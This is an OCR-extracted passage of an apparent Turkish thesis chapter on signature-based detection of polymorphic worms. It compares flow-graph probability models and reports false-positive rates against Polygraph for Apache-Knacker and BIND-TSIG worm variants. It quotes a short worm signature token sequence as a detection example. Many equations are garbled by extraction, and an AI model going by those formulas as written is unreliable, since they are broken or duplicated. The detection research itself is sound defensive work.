Ethernet arayiizlii Fedora 10 Linux bilgisayarda yapilan testler ile dl¢iilmiistiir.
4.1 Akis Degerlendirme Olasihik Modellerinin Analizi

Akis cizgeleri, taninan polimorfik solucan kopyalarindan 6grenilen solucan
karakter katarlar1 (SKK) ile ifade edilen diigiimlerden olusmaktadir. Ki ve GKI imza
yapilarinda, ag iizerinden akan bir akisin polimorfik solucan olup olmadigina karar
vermek i¢in bu akisin normal akis havuzu ve solucan akis havuzu igerisindeki
akislara benzerligi degerlendirilerek bir akis skor hesaplanmakta ve karar
verilmektedir. YIKDB imza yapisinda ise, akis i¢in bir skor hesaplanmamakta fakat
solucan akis c¢izgesi lizerinde benzer olasilik modeli kullanilarak hibrit bir imza
tanimlanmakta ve akis bu imza ile eslestigine akisin polimorfik solucan olduguna

karar verilmektedir.

Solucan akis havuzundaki solucan kopyalarinin oriintiisii, kesfedilen SKK’ler
cinsinden tanimlanmaktadir. Ideal durumda, degerlendirilen akislarmn bilinen solucan
akis Orilintiisiine tam olarak eslesip eslesmedigi, dogru karar vermek i¢in en uygun

yontem olarak goriinse de, bu yap1 beraberinde esnek olmayan bir kurallar biitiinii
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getirmektedir. Solucan oriintiilerindeki en ufak degisiklikler dahi bu durumda yanlis
karar vermeye sebep olacaktir. Akis ¢izgeleri degerlendirilirken, bunlar1 kesintisiz bir
diigiim dizilimi olarak islemek yerine, birbiri ardina gelen yonlii ya da yonsiiz
kenarlar cinsinden ifade etmek daha esnek bir yap1 olusturacaktir. Bu durumda, akis
icerisinde yer degistiren ya da silinen diiglimlerden kaynaklanacak Oriintii
degisiklikleri kullanilacak yontem iizerinde daha az etkiye sahip olacaktir. Bu
boliimde, akis cizgelerinin kenarlar cinsinden ifade edilmesiyle ilgili matematiksel
model tanitilmistir. Cizge biitiinliniin normal akis havuzu ve solucan akis havuzu
olasiliklarina (yanlis-pozitif ve yanlig-negatif oranlari) zarar vermeden kenarlar
kullanilarak tanimlanmasinin miimkiin oldugu, bu modelin kimi c¢aligmalarda
benimsenen “bagimsiz diigiimler” yaklasgimindan daha 1iyi sonuglar verdigi

gosterilmistir.

Bir X akis1 igerisinde n adet diiglim var ise X akis1 asagidaki sekilde

gosterilmektedir:

X ={x1,%x5, ..., X}

Akis igerisindeki n adet diiglimiin solucan havuzu ve normal trafik havuzu
igerisinde bulunma olasiliklarinin birbirine orani, ilgili diiglimiin solucan1 ne kadar
ayirt edici sekilde ifade ettiginin gostergesidir. Ideal durumda bu X akis1 igerisinde
bulunan diiglimlerin her iki havuzda da (solucan, normal) bulunma olasiliklari,
birbiriyle bagimlilig1 bulunan n adet olayin kosullu olasilik hesab1 iizerinden yapilir.

Bu olasilik degeri asagida matematiksel olarak ifade edilmektedir.

X = {x1, x5, ..., x, }: Bagimli(dependent) n adet olay

P(X = SolucanAkis1|X): X akisinin solucan akist olma olasiligi.

P(X = NormalAkis|X): X akiginin normal akis olma olasilig1.
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Bayes Kurali:

P(B) X P(BJA) @.1)
P(4)

P(A|B) =

Varsayim:

Elimizde bilgi yokken herhangi bir akigin solucan olma olasiligi,
normal trafik olma olasiligina esittir.

P(X = SolucanAkis1) = P(X = NormalAkis) = 0.5. (4.2)

Kosullu Olasilik:

A, B, C, D bagimh olaylar ise kosulli olasiliklar1 asagidaki gibi ifade
edilir:

P(ANB N Cn D)= P(A) x P(BJA) x P(CIANB) x P(D|ANBNC) (4.3)

Olasilik degerlerini ifade ederken Bayes kurali, kosullu olasilik hesabi ve
baslangi¢ durumunda herhangi bir akisin solucan olup olmadigina dair asagida

tanimlanan varsayimdan faydalanilmaktadir.

(4.1) ve (4.2) kullanilarak;

P(X = SolucanAkisi|X) ve P(X = NormalAkis|X) olasiliklarinin  orani
(4.4)°deki gibi yazilir:

P(X = SolucanAkisi|X)  P(X|X = SolucanAkisi)
P(X = NormalAkis|X) ~ P(X|X = NormalAkis)

(4.4)

(4.4), P(X|X = SolucanAkis1) ve P(X|X = NormalAkis) kosullu olasilik
degerlerinin oranidir. Bu kosullu olasilik degerleri, (4.3) kullanilarak asagidaki gibi

yazilabilir.
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P(X|X = SolucanAkisy) olasilik degeri, X akisindaki diiglimlerin solucan akis

havuzu igerisindeki kosullu olasiligidir ve (4.5)’de gosterilmistir.

P(X|X = SolucanAkis1) = P(x,|X = SolucanAkisr)
X P(x2 € XIndex(x1)...|x1 nx= SolucanAklsl)
X P(x3 € X,ndex(xz)"]xl N X, € Xindex(xy).. NX = SolucanAklsl) (4.5)

X ..

x P (xn € Xlndex(x(n_l))...|x1 N x; € Ximdex(x,)... = Xn-1 € XIndex(x(n_z))... nx= SOlucanAk1$l)

P(X|X = NormalAkis) olasilik degeri, X akisindaki diiglimlerin normal akis
havuzu igerisindeki kosullu olasiligidir. Bu olasilik degeri de (4.5)’e benzer olarak

(4.6)’da gosterilmistir.

P(X|X = NormalAkis) = P(x,|X = NormalAkis)
X P(x2 € X,ndex(xl)m|x1 nNxX= NormalAklg)

X P(x3 € Xmaex(xy)..|X1 0 X2 € Xingex(xy).. N X = NormalAkas) (4.6)
X ..
x P (xn € Xlndex(x(n_l))...|x1 Nx; € XIndex(xl)... wXn_1 € Xlndex(x(n_z))... nx= NormalAkls)

P(X|X = NormalAkis) ve P(X|X = SolucanAkisi) olasiliklari, X  akist
igerisindeki diiglimler bagimsiz kabul edildiginde, (4.7) ve (4.8)’de gosterildigi gibi
daha basit bir sekilde ifade edilebilir. Bu yaklasim, Polygraph[40] ve Hamsa[42]

caligsmalarinda kullanilmigtir.

P(X|X = SolucanAkis1)= P(x{|X = SolucanAkis)
X P(x,|X = SolucanAksi)
X P(x3|X = SolucanAkisi) 4.7)
X cee

X P(x,|X = SolucanAkis1)
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P(X|X = NormalAkis)= P(x,|X = NormalAkis)
X P(x,|X = NormalAks)
X P(x3|X = NormalAks) (4.8)
N
X P(x,|X = NormalAkis)

Bolim 2.7.2.1°de incelenen Polygraph calismasinda diiglimlerin bagimsiz
oldugu varsayilmaktadir. Saldir1 mantig1 ve protokol yapisi agisindan diiglimlerin
birbirleriyle bagintili olduklar1 agiktir. Yontemin esnekligini saglamak i¢in bir X
akisi icerisinde bulunan diigiimlerin tiimiiniin birbiriyle olan bagimlilig1 degil diigiim

ikililerinin (kenarlarin) birbirleriyle olan bagimliliklar1 dikkate alinmaktadir.

YIKI imza yapisinda ilgili olasilik degerleri, diigiimler arasinda bir sira kurali

gozeterek (4.9) ve (4.10)’da verilen Sirali ikili Bagimli model ile hesaplanmaktadir.

P(X|X = SolucanAkist)
P(x,|X = SolucanAkist) X P(x2 € X,ndex(xl)_._|x1 nNx= SolucanAkm)

X P(x|X = SolucanAkist) X P(x; € X,ndex(xz)m|x2 N X = SolucanAkist)

X P(x3|X = SolucanAkis)) X  P(X4 € Xjntoxxy)..|%3 N X = SolucanAkasr) (4.9)
X
X P(x,_1|X = SolucanAkist) X P (xn € X,ndex(x(m))._.|xn_1 nXx= SolucanAkm)
P(X|X = NormalAkis) =
P(x,|X = NormalAkis) X P(xz € XIndex(xl)...|x1 nNx= NormalAkls)
X P(x,|X = NormalAkis) X P(x3 € X,ndex(xZ)._.|x2 nx= NormalAk1§) 4.10)

X P(x3|X = NormalAkis)

X

X

P(x4 € X,ndex(x3)...|x3 nx= NormalAkls)

X P(xp_1|X = NormalAkis) X P (xn € X,ndex(x(n_l))___|xn_1 nx= NormalAkls)

YsKi imza yapisinda diigiimler arasinda herhangi bir sira kurali gézetmeksizin

(4.11) ve (4.12)’de verilen Birlesim ikili Bagimli Model ile hesaplanmaktadir.
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P(X|X = SolucanAkasi)
P(x1|X = SolucanAkist) X P(x,|x; 0 X = SolucanAkist)

X P(x,]X = SolucanAkist) X P(x3|x, N X = SolucanAkisz)

X P(x3|X = SolucanAkisi) X P(x4|x; N X = SolucanAkist) @10
X
X P(xp_11X = SolucanAkist) X P(x,|x,—1 N X = SolucanAkust)
P(X|X = NormalAkis) =
P(x1|X = NormalAkis) X P(x3|x; N X = NormalAkis)
X P(x;|X = NormalAkis) X P(x3|x, N X = NormalAkis) 4.12)

X P(x3]X = NormalAkis)

X

X

P(x4lx3 N X = NormalAkis)

X P(x,-11X = NormalAkis) X P(x,|x,—1 N X = NormalAkis)

Boliim 3.4.3°de tartisildig1 gibi, akis ¢izgesi icerisindeki bitisik zayif kenarlar,
birbirine bitisik olmayan diiglimlerin olusturdugu giiclii kenarlarin ihmal edilmesine
yol acgabilmektedir. Akis ¢izgesi igerisinde bir diigiimden diger baska bir diiglime
giiclii kenar olusuyorsa ve bu iki diigiim arasinda bitisik olarak olusmus kenarlar
zayif ise, ardisik zayif kenarlar yerine tek giiglii kenarin akisi temsil etmek iizere
kullanilmasinin basarimi artiracagi sdylenmistir. Bu yontem, YIGKI ve YsGKI imza

yapilarinda kullanilmaktadir.

Gosterimde kolaylik olmasi agisindan, yonlii bir e;; kenarmin polimorfik
solucan akis havuzu olasiligi ve normal akis havuzu olasilig1 (4.13) ve (4.14)’de;
yonsiiz bir e; ; kenarinin polimorfik solucan akis havuzu olasiligi ve normal akis

havuzu olasilig1 (4.15) ve (4.16)’da gosterilen notasyon ile ifade edilsin.

P(x; = x;|X = SolucanAkisr)

(4.13)
= P(x;|X = SolucanAkust) x P(xj € X,ndex(xi)___|xi N X = SolucanAksi)

P(x; - x;j|X = NormalAkis)

(4.14)
= P(x;1X = NormalAkis) X P(x; € Xinaex(xp.|*i 0 X = NormalAks)
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P(x; + x;|X = SolucanAkisr)

(4.15)
= P(x;|X = SolucanAkust) X P(xj|xi NnNX= SolucanAkz,w)

P(x; + x;|X = SolucanAkisr)

(4.16)
= P(x;|X = SolucanAkust) X P(xj|xl~ NnNX= SolucanAkzsz)

YIGKI imza yapisinin, akis skorunu hesaplamak icin kullandigi Sirali Giiglii
Ikili Bagimli model, P(X|X = SolucanAkisi) degerini (4.17) ile P(X|X = NormalAks)
degerini (4.18) ile hesaplamaktadir.

j=i+1 Vv yonlie; ;i <j < nicinzayf ise
ve ; eger veya
Sonrakii=j yonlie; j,j =i+ 1igin glglii ise
n—1 ),
1_[ P(x; = x;|X = SolucanAkisr) (4.17)
=1 j=k Vyonliie; ;i <j<kicinzayf ise
ve ; eger ve
Sonrakii = j yonlie; ;,j = k igin giglii ise
j=i+1 Vv yonlie; ;i <j < niginzayf ise
ve ; eger veya
Sonrakii=j yonlie; j,j = i + 1igin gliglii ise
n—-1 g
nP(xi - xj|X = NormalAks) (4.18)
=1 j=k Vyonliie; ;i <j<kicinzayf ise
ve ; eger ve
Sonrakii = j yonlie; ,j = k igin giglii ise

YsGKI imza yapisin, akis skorunu hesaplamak igin kullandigi Birlesim
Gugli  Ikili Bagimli model, P(X|X = SolucanAkist) degerini  (4.19) ile
P(X|X = NormalAkis) degerini (4.20) ile hesaplamaktadir.

j=i+1 V yonsize; i < j < nigin zayif ise
ve ; eger veya
- Sonrakii = j yonsize; j,j = i+ 1icin gigli ise
1_[ P(x; + x;|X = SolucanAkis) (4.19)

i=1

ve ve
Sonrakii=j yonsiz e; j,j = k i¢in gii¢lii ise

j=k Vyobnsize; ;i <j<kiginzayf ise
; eger
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j=i+1 V yonsize; ;i <j <niginzayf ise
ve ; eger veya
- Sonrakii = j yonsize; j,j = i + 1 icin gigli ise
1_[ P(x; + x;|X = NormalAks) (4.20)
=t j=k Vyobnsize; j,i <j <k iginzayf ise
ve ; eger ve

Sonrakii = j yonsiize; j,j = k icin giiglii ise
Diiglimlerin birbirinden bagimsiz oldugu durum (Bagimsiz model), sirali ikili
bagimhilik durumu (Swrali ikili Bagimli model), birlesim ikili bagimlilik durumu
(Birlesim Ikili Bagimli model), sirali giiglii ikili bagimlilik durumu (Siral Giiglii ikili
Bagiml1 model), birlesim giiclii ikili bagimlilik durumu (Birlesim Giiglii ikili Bagiml
model) ve diiglimlerin tam bagimli oldugu durum (Tam Bagimli model), 6rnek bir

polimorfik solucan akisi i¢in karsilastirilmistir.

Tiim modellerde ayni diigiim dizisi i¢in solucan akis havuzu ve normal akis
havuzu tzerinden hesaplanan olasilik degerlerinin orani karara etki etmektedir.
Solucan akig c¢izgesinden tiiretilmis tiim alt c¢izgeler akis havuzu igerisinde
bulundugu i¢in bu akislarin solucan akis havuz olasiliklar1 1 degerine sahiptir.
Bundan dolay1 karsilastirmada sadece normal akis havuzu olasiliklar1 kullanilmistir.
Buradan, normal akis havuzunda olasilig1 yiiksek olan diigiimlerin 6nemsiz oldugu
anlagilmamalidir. Tam aksine, solucan tespitinde genel problem yanlig-pozitif
durumu (solucan olmamasina ragmen solucan olarak tespit edilmesi) oldugu i¢in, bir
akisin normal havuza ait olup olmadigim1 gosterecek olan olasilik degeri, yanlis-

pozitif basarim oranini agisindan 6nemlidir.

b

Incelenen ag akist X = {xy, X5, X3, X4, X5, Xg, X7, Xg, Xo}, X;= GET °, x,=
HTTP/1.1\r\n°, x3=": ° , x4="\r\nHost: °, xs="\r\n’, x¢=": ’, x,="\r\nHost: °,

xg="\XxFF\xBF’, xo="\r\n’, olarak tanimlanmustir.

Dokuz adet diigiim iceren X akisinin en az iki diigiimlii tiim essiz alt akiglarin
iceren 427 adet akig Orneginin tam bagimli model, bagimsiz model, sirali ikili
bagimli model, birlesim ikili bagimli model, sirali gii¢lii ikili bagimli model, birlesim
giiclii ikili bagimli model i¢in sirastyla normal akis havuzu olasiliklar sirasiyla (4.6),

(4.8), (4.10), (4.12), (4.18), ve (4.20) ile hesaplanmustir.
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Tam bagimli model, bagimsiz model ve birlesim ikili bagimlilik modeli normal
akis havuzu olasiliklar1 Sekil 4.1°de verilmistir. Goriilmektedir ki birlesim ikili
bagimlilik modeli, bagimsiz model ile ¢ok benzer sonu¢ vermektedir. Tam bagiml
model, iki bolgede diger modeller ile ayni sonucu verirken, iki bolgede de farklilik
gostermektedir. Ug modelin de benzer sonug verdigi iki bolgedeki akislar, diigiimler
arast iliskinin ya da sira bagintisinin normal akis havuzu igerisindeki olasilik
degerine etki etmedigi 6rneklerdir. Bunlardan yiiksek olasilik degerlerinde benzer
davranig gosteren akislar, normal trafik igerisinde sik¢a goriilen ve herhangi bir
siralama kuralindan etkilenmeksizin kullanilan diigimlerden olusmaktadir. Tam
bagimli model ile diisiik olasilik degeri hesaplarken, bagimsiz ve birlesim ikili
bagimlilik modellerinin yiiksek olasilik degeri hesapladig1 akislar, sira bagintisinin
onem arz ettigi akiglardir. Incelenen polimorfik akis cizgesindeki diigiimler, bu
araliga diisecek izomorfik siiriimler olusturdugunda, tam bagimli model ilgili
izomorfik siiriimii hala diisiik olasilikli bir akis olarak tespit ederken, diger iki model
yiiksek normal akis havuzu olasilig1 hesapladigindan yanlis-negatif karar verilmesine
sebep olacaktir. Diiglimler arasi bagimsizlik varsayimi yapildigi siirece bagimsiz
model davraniginin iyilestirmesine olanak yok iken, ardisik zayif kenarlar yerine
gliclii kenarlarin dikkate alinmasi yoluyla iyilestirilecek birlesim ikili bagimlilik
modeli, s6z konusu yanlig-negatif karar araligindan c¢ikabilir. Bu durum, birlesim

giiclii ikili bagimlilik modelinin tartigildig1 kisimda aciklanmastir.
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Sekil 4.1, Birlesim Ikili Bagimli Model Normal Akis Havuzu Olasilik Degerlerinin

Karsilastirilmasi.

Tam bagimli model, bagimsiz model ve sirali ikili bagimlilik modeli normal
akis havuzu olasiliklar1 Sekil 4.2°de verilmistir. Sirali ikili bagimlilik modeli,
bagimsiz model ve birlesim ikili modele gore daha iyi sonu¢ vermektedir. Sekil
4.2’nin ilk boliimiinde, ii¢ olasilik modeli de benzer yiiksek olasilik sonuglari
vermektedir. Tkinci boliimde, tam bagimli ve sirali ikili bagimli modeller bagimsiz
modele gore daha diisiik ama yine de yiiksek olasilik degerleri hesaplamistir. Bu
bolgedeki akislar icerisindeki kenarlar igin sira bagntisinin etkili oldugu
goriilmektedir. Tam bagimli modelin sifira yakin olasilik degerleri hesapladigi
akislarda bagimsiz modelin ve sirali ikili bagimli modelin hala yiiksek olasilik deger
hesaplayabilmektedir. Sirali ikili bagimli modelin bu hatayr yapmasinin sebebi,
ardisik olan zayif kenarlarin, giiclii kenarlar yerine dikkate alinmasidir. Tam bagiml
model diistik olasilik degeri hesaplarken, sirali ikili bagimli modelin yiiksek olasilik
degeri hesapladig1 akislar, bu oriintiiye uygun olarak tiiretilecek izomorfik solucan
stiriimlerinin degerlendirilmesi sirasinda yanlig-negatif karar vermeye sebep olabilir.

Bu davranis, sirali ikili bagimlilik modelinde, ardisik zayif kenarlar yerine giiglii
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kenarlarin dikkate alinmasi igin iyilestirilmis sirali giiclii ikili bagimlilik modelinde

diizeltilmistir.

—— Tam Bagmh
—— Tkili Bagirah ( Srali)
—— Bafimsiz

=
[s]
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=
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Sekil 4.2, Sirali ikili Bagimli Model Normal Akis Havuzu Olasilik Degerlerinin

Karsilagtirilmast.

Tam bagimli model, bagimsiz model ve birlesim giiglii ikili bagimlilik modeli
normal akis havuzu olasiliklar1 Sekil 4.3’de verilmistir. Tam bagimli modelin diisiik
olasilik degerleri hesapladigi akislar icin birlesim ikili bagimli modelin yiiksek
olasilik degeri hesaplayarak yanlig-negatif karara yol agabilecegi durum birlesim
giiclii ikili bagimli modelde diistik olasilik degeri hesaplamaktadir. Bu iyilestirme,
ardisik zayif yonsiiz kenarlar yerine giiclii yonsiiz kenarlarin dikkate alinmasi

sayesinde saglanmistir.
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Sekil 4.3, Birlesim Giiglii Ikili Bagimli Model Normal Akis Havuzu Olasilik

Degerlerinin Karsilastirilmasi.

Siralr giiclii ikili bagimli model, tam bagimli ve bagimsiz model ile hesaplanan
normal akis havuzu olasilik degerleri Sekil 4.4’de karsilastirilmistir. Goriilmektedir
ki siralt giiclii ikili bagimli model, tam bagimli modeli diger modellere gore daha
basarili sekilde temsil etmektedir. Tam bagimli model diisiik olasilik degerleri
hesaplarken sirali ikili bagimli modelin yiiksek olasilik degeri hesapladig: akislar i¢in
siralt giicli ikili bagimlilik modeli, tam bagimli modelle uyum igerisinde diisiik
olasilik degeri hesaplamaktadir. Diiglimlerin sirali olarak islenmesi, yani yonli
kenarlarin kullanilmasindan kaynaklanan iyilesme sebebiyle birlesim giiclii ikili

bagimli modele gore daha iyi sonug¢ alinmaktadir.



94

—— Tam Bagunl
—— G ik Bagunl (Siral)
—— Bafmmsaiz

Normal Akis Havuzu Olasihin

Sekil 4.4, Siral Giiglii Ikili Bagimli Model Normal Akis Havuzu Olasilik

Degerlerinin Karsilastirilmasi.

Tiim modellerin normal akis havuzu olasiliklar1 Sekil 4.5’de karsilastirmali
olarak verilmistir. Anlatim kolaylig1 agisindan Sekil 4.5, A bolgesi, B bolgesi, C
bolgesi ve D bolgesi olarak dort bolgeye boliinmiistiir. Tam bagimli model ile siral
giiclii ikili bagimli model biiyiilk benzerlik gostermektedir. Bazi akiglar i¢in tiim
modeller benzer sonu¢ vermektedir. Baz1 akiglar i¢inse tam bagimli model ve ikili
giiclii sirali model, diger modellerden ciddi farkliliklar gostermektedir. A, B, C ve D

bolgeleri asagida yorumlanmustir.

A Dboélgesinde, tiim modeller birbirine yakin ve yiiksek olasilik sonuglar
vermektedir. Bu bolgedeki akislarin ortak 6zelligi, i¢lerinde solucan akisimi giiglii
olarak ayirt edecek diigiimler bulundurmamalaridir. Normal akis havuzunda bulunma
olasiligiin yiiksek olmasi, ilgili akisin solucan olmamasin1 desteklemesinden Gtiirii
icerisinde giiclii kenar veya gii¢lii diigiim bulundurmayan akiglarin solucan olmadigi

(normal akis oldugu) sonucu ¢ikartilabilir.
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B boélgesinde, tam bagimli model ile giiclii ikili bagimli model ve sirali giiglii
ikili bagimli model benzer sonug verirken bagimsiz model farklilik gostermektedir.
Birlesim ikili bagimli model ve birlesim giiclii ikili bagimli model, B bdlgesindeki
akiglardan kenar sirasmnin sonuca etki ettigi akislar icin tam bagimli ve siral
modellere gore daha yiiksek olasilik degerleri hesaplamaktadir. Buradan kenarlarin
yonlii olarak islenmesinin 6nemli bir ayirt edici 6zellik oldugu goriilmektedir. B
bolgesinde diigiim siralamasinin etkili olmadig1 az sayida akis i¢in birlesim ikili
bagimlilik modelleri, tam bagimli ve sirali ikili bagimli modellerle benzer sonuglar
vermektedir. B bdlgesindeki akiglar da yonli ya da yonsiiz giiclii kenar
bulundurmamaktadir. Bu sebeple giiclii kenarlarin ihmal edilmemesini saglayan

tyilestirme, ikili bagimlilik modellerinin verdigi sonuca etki etmemektedir.

— Tam Baguah
—— Tkili Bagml (Birlegim)
—&— Tkili Bagr (Siral)

—B— Grighi Tkili Bagimh (Birlegim)
—+— Gigli Teili Bagunh (Siral))
—=— Bagimsiz

s

D Bilgesi

B Balyesi C Bilgesi

A Baolgesi

Normal Alas Havuzu (Olasihin

Sekil 4.5, Olasilik Modellerinin Normal Akis Havuzu Olasiliklart (Timii).

C bolgesinde, tam bagimli, birlesim sirali gliclii ikili ve sirali giicli ikili
bagimli modeller, diger modellerden ciddi sekilde ayrilmaktadir. Tam bagimli,
birlesim sirali giiglii ikili ve siral1 giiclii ikili model sifir veya sifira ¢ok yakin olasilik
degerleri hesaplarken bagimsiz model ve birlesim ikili bagimli model, 1 civarinda

olasilik degeri hesaplamaktadir. Siral1 ikili bagimli model ise, bu bolgedeki akislarin
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bir kismi i¢in bagimsiz model ve birlesim ikili bagimli modellerden daha diisiik olsa
da hala yiiksek olasilik degerleri hesaplamaktadir. Bu boélgedeki akiglarin bir kismi
icin ise sirali ikili bagimli model, tam bagiml ve sirali giiclii ikili bagimli modele
benzer sekilde diisiik olasilik degerleri hesaplamaktadir. Farkliligin gozlendigi
akislarda, ardisik yonlii zayif kenarlarin, giiclii kenarlar yerine dikkate alinmasindan
kaynaklanmaktadir. B bolgesindeki akislari iceren bir izomorfik solucan siiriimiiniin
tiiretilmesi durumunda tam bagimli model, birlesim giiclii ikili bagimli model ve
stralt giiclii ikili bagimli model solucani tespit ederken, bagimsiz model ve birlesim
ikili bagimli model izomorfik solucan siiriimiinii tespit edemeyecektir. Sirali ikili
bagimli model ise, birbirine ardisik olmayan diiglimlerin gii¢lii kenar olusturmasi
durumunda izomorfik solucan siiriimiinii tespit edemeyecek, diger durumlarda

basariyla tespit edebilecektir.

D bolgesinde tim modeller diigiikk olasilik degerleri vermektedir. Bunlarin
arasinda bagimsiz model ve birlesim ikili bagimli model en yiiksek olasilik
degerlerini verirken, diger modeller sifir veya sifira ¢cok daha yakin olasilik degerleri
vermektedir. Bu bolgedeki akiglar tim modellerle ayirt edici sekilde

belirlenebilmektedir fakat bagimsiz model disindaki modeller daha basarilidir.

Tim bolgeler goz oniinde bulundurulup tam bagimli model referans olarak
alindiginda, bagimsiz model, birlesim ikili bagimli model, siral1 ikili bagimli model,
birlesim gii¢lii ikili bagimli model ve siralt giiglii ikili bagimli model kullanilarak
hesaplanan olasilik degerlerinin hatast (Root Mean Square Error) Cizelge 4.1°de

verilmistir.
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Olasilik Modeli RMS Hata Degeri
Bagimsiz Model 0.39165
Birlesim Ikili Bagimli Model 0.39138
Siralr ikili Bagimli Model 0.21875
Birlesim Giiclii Ikili Bagimli Model 0.08855
Siral Giiglii Ikili Bagimli Model 0.00846

Cizelge 4.1, Olasilik Modelleri Hata Degerleri.

Cizelge 4.1°de gorildiigii lizere tiim bolgeler goz 6niinde bulunduruldugunda
tam bagimli olasilik modeline yaklagim agisindan modeller basar1 durumlarina gore
Sirali Giiglii Ikili Bagimli Model, Birlesim Giiglii Ikili Bagimli Model, Sirali ikili
Bagimli Model, Birlesim Ikili Bagimli Model ve Bagmmsiz Model olarak
siralanmaktadir. Genel olarak, birbirine ardisik olmayan diiglimlerin olusturdugu
yonlii ya da yonsiiz kenarlarin, aradaki zayif kenarlar yerine dikkate alindig1 giiglii
ikili bagimlilik modellerinde basarim oraninin artirdigi, yonlii kenarlarin, yonsiiz
kenarlara gore daha ayirt edici oldugu ve diiglimlerin bagimsiz oldugu varsayimi
yerine yonlii ya da yonsiiz bagimliliklarin dikkate alinmasinin bagarim oranini

artirdig1 sonuglarina ulagilmaktadir.

4.2 Yanhs-Pozitif ve Yanhs-Negatif Karar Oranlarimin

Analizi

Onerilen YsKi, YIKI, YsGKi, YIGKI ve YIKDB imza yapilarmin yanls-
pozitif ve yanlig-negatif performanst iki farkli polimorfik solucan igin
gergeklestirilen deneysel calisma ile analiz edilmistir. Bunlar, Apache-Knacker
acikligimi[63] kullanan bir polimorfik solucan ile BIND-TSIG[64] DNS agikligini
kullanan Lion[65] solucaninin polimorfik siiriimiidiir. Diisiik yanlis-pozitif oran1 ve
diisilk yanlig-negatif orani kritik basar1 faktorlerinden ikisidir. Yanlis-pozitif ve

yanlig-negatif performanslari, Newsome ver ark. [40] tarafindan 6nerilen Polygraph
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Bayes, Polygraph Conjunction ve Polygraph Subsequence imza yapilarnyla

karsilagtirmali olarak analiz edilmistir.

YsKi, YIKi, YsGKI, YIGKI, YIKDB, Polygraph Bayes, Polygraph
Conjunction ve Polygraph Subsequence imza yapilari, ANSI C ile gergeklenmistir ve
deneyler 1 GB bellekli, 1.8 GHz islemci hizinda ve 1 Gbit/s Ethernet arayiizlii
Fedora 10 Linux bilgisayarda yapilmistir.

Deneylerde kullanilan polimorfik solucan akis havuzlari, belirtilen polimorfik
solucanlar icin {iretilmis O6rneklerden olugmaktadir. Normal akis havuzu olarak,
HTTP solucan1 Apache-Knacker i¢cin HTTP protokoliiniin {i¢ giinliik ag izi ve BIND-
TSIG solucani i¢cin DNS protokoliiniin ii¢ giinliik ag izi kullanilmistir. Yanlig-pozitif
performansinin degerlendirilmesi i¢in, 2.5 milyonun iizerinde HTTP istegi ve 63.443
DNS istegi igeren HTTP ve DNS protokollerinin bes giinliik ag izleri kullanilmistir.
Izleri yakalamak igin kullanilan ag, biiyiik bir arastirma enstitiisiiniin harici Apache

web sunucusunu ve BIND DNS sunucusunu igermektedir.

Apache-Knacker ve BIND-TSIG polimorfik solucanlar i¢in deney sonuglari
Cizelge 4.2°de verilmistir.
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Apache-Knacker Solucam BIND-TSIG Solucam
Imza Yapisi
Yanhs- Yanhs- Yanhs- Yanhs-
Pozitif Negatif Pozitif Negatif
YIKDB 0.000115% 0% 0% 0%
YIGKI
0.000115% 0% 0% 0%
(E =24)
YsGKI
0.000153% 0% 0% 0%
(E =20)
YIKI
0.000307% 0% 0% 0%
(E =16.7)
YsKi
0.000884% 0% 0% 0%
(E =12.5)
Polygraph
0.000115% 0% 0% 0%
Subsequence
Polygraph
‘ ‘ 0.00106% 0% 0% 0%
Conjunction
Polygraph Bayes
0.00419% 0% 0.00022% 0%
(E =6.3)

Cizelge 4.2, Yanlis-Pozitif ve Yanlig-Negatif Karar Oranlart.

Degerlendirilen imza yapilarindan her birinin yanlig-negatif oranlar1 %0
cikmaktadir. Olusturulan imzalarin polimorfik solucan kopyalarmin timiini basaril
sekilde tespit ettigini gosterir. Ote yandan, YIKDB, YIGKI ve Polygraph
Subsequence imza yapilar1 yanlis-pozitif oran1 bakimindan digerlerinden daha iyi

performansa sahiptir. Gelen akiglarin normal trafik veya polimorfik solucan olarak
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siniflandirilmasinin -~ kritik olmasmma ragmen, bir polimorfik solucanin yeni
stiriimlerine direnglilik ve hizli bir akis degerlendirme yontemine sahip olmak
karsilagtirilan imza yapilarinin avantaj ve dezavantajlarin1 karsilagtirirken dikkate

alinmas1 gereken 6nemli etkenlerdir.

YIKi ve YsKi imza yapilar1 yanlis-pozitif karar verme oranlari, yine skor
tabanli olan Polygraph Bayes imza yapilarindan daha diisiiktiir. Bagimsiz diigtimler
yerine, iki bagimlh diiglimleri kullanarak akis skoru hesaplamanin etkisi
goriilmektedir. YIKI imza yapis1, YsKI imza yapisia gére daha diisiik oranda yanlis-
pozitif karar vermektedir. Sirali diiglimlerin solucan akisini daha spesifik sekilde
temsil edebilmesi sonucu YIKI imzalarinin yanlis-pozitif performansi daha iyidir.
YIKI ve YsKI imzalarmin yanlis-pozitif karar verdigi akis orneklerinde, skoru
yiiksek olan fakat tam bagli zayif solucan akis ¢izgesinde bulunmayan diigiim
ikilileri (kenarlar) goriilmektedir. Bu kenarlar skorlar1 yiiksek olmasina kargin
polimorfik solucana ya da onun izomorfik siliriimlerine ait degildir. Bu sebeple
yanlig-pozitif karar olarak degerlendirilmektedir. Normal akis havuzu olasiliklarinin
diisiik olmas1 sebebiyle halen bir protokol anormalligi ya da bagka bir polimorfik
solucanin akis ¢izgesindeki kenar olabilir. Tam bagl zayif akis ¢izgesinde bulunma

ihtimali olmayan bu kenarlar GKI imza yapisinda imza kiimesine dahil degildir.

YsGKI ve YIGKI imza yapilari, tam bagl zayif solucan akisinda bulunma
ihtimali olan sirali kenarlar1 dikkate almaktadir ve yanlis-pozitif performansinin
YsKi, YIKI, Polygraph Conjunction ve Polygraph Bayes imza yapilarindan daha iyi
oldugu goriilmektedir. Tam bagli zayif solucan akis icerisinde bulunabilecek sirali
kenarlarin dikkate alinmasi, dogru karar verme noktasinda etkili olmustur. YIGKI
imza yapisi, YsGKI imza yapisina gore daha diisiik yanls-pozitif karar oranina
sahiptir. Bu sonug, kenar skorlarinin sirali-ikili olasilik modeliyle hesaplanmasinin

akis degerlendirmede daha ayirt edici oldugu tezini desteklemektedir.

Sekil 4.6°da, akis skoru hesaplayarak karar veren Polygraph Bayes, YsKi,
YIKI, YsGKi ve YIGKI imza yapilarmin ROC egrisi sonuglar1 gdsterilmistir. Bu
egri, secilen karar esik degerlerinin degisimine gore imza yapisinin dogru-pozitif

karar oran1 ve yanlis-pozitif karar oran1 degerlerini gostermektedir. Dogru-pozitif
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karar, polimorfik solucan akisini, solucan olarak etiketlemektir. Bir baska deyisle,

sisteme yonelen polimorfik solucanlari basariyla tespit etme oranidir.

KELD: Karar Esigi Limit Degeri
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Sekil 4.6, ROC Egrisi.

